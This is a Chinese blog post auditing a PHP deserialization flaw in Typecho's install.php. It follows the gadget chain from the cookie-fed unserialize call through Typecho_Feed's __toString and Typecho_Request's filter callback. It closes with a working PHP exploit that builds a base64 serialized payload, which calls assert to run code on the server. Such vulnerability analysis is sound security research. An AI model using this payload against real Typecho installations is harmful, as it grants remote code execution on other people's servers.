代码审计-Typecho反序列化getshell

0x01 漏洞代码

install.php:

<?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>

 

 执行到这里的条件:

 

 

 

跟进Typecho_Cookie::get('__typecho_config')   cookie.php 77-82行

    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

 

 

 

 

$value赋值从$_COOKIE里或post中接收$key。

 

回到install.php:

 

 

 

 

install.php第232行:$db = new Typecho_Db($config['adapter'], $config['prefix']);,

 

 

这里, 跟进Typecho_Db, 有一行代码是:$adapterName = ‘Typecho_Db_Adapter_’ . $adapterName; 这里的$adapterName就对应着config里面的adapter,这里用了拼接操作,会触发类的toString方法。

 

 

Db.php:

 

 

   public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;
        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }
        $this->_prefix = $prefix;
        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();
        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

 

 

 

 

 

 

 

查看后发现

Feed.php重写了__toString()方法

 

 

 

Feed.php  212-226 lines:

foreach ($this->_items as $item) {
                $content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
                $content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
                if (!empty($item['suffix'])) {
                    $content .= $item['suffix'];
                }
                $content .= '</item>' . self::EOL;
                $links[] = $item['link'];
                if ($item['date'] > $lastUpdate) {
                    $lastUpdate = $item['date'];
                }
            }

 

 

 

 

 

 

调用了$item['author']->screenName$item$this->_items的foreach循环出来的,并且$this->_itemsTypecho_Feed类的一个private属性。

如果这里screenName属性不存在会调用__get()方法

 

 

 

 

 

Request.php:

    public function __get($key)
    {
        return $this->get($key);
    }

 

get():

 

 

检测$key是否在$this->_params[$key]这个数组里面,如果有的话将值赋值给$value

 

_applyFiter():

这里就很清楚明了了  两个回调后门 $filter$value可控

    private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
            $this->_filter = array();
        }
        return $value;
    }

 

 

 

 

0x02 漏洞利用

exp:

 

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));

 

 

 

 

 

posted @ 2019-12-02 08:29  卿先生  阅读(834)  评论(0编辑  收藏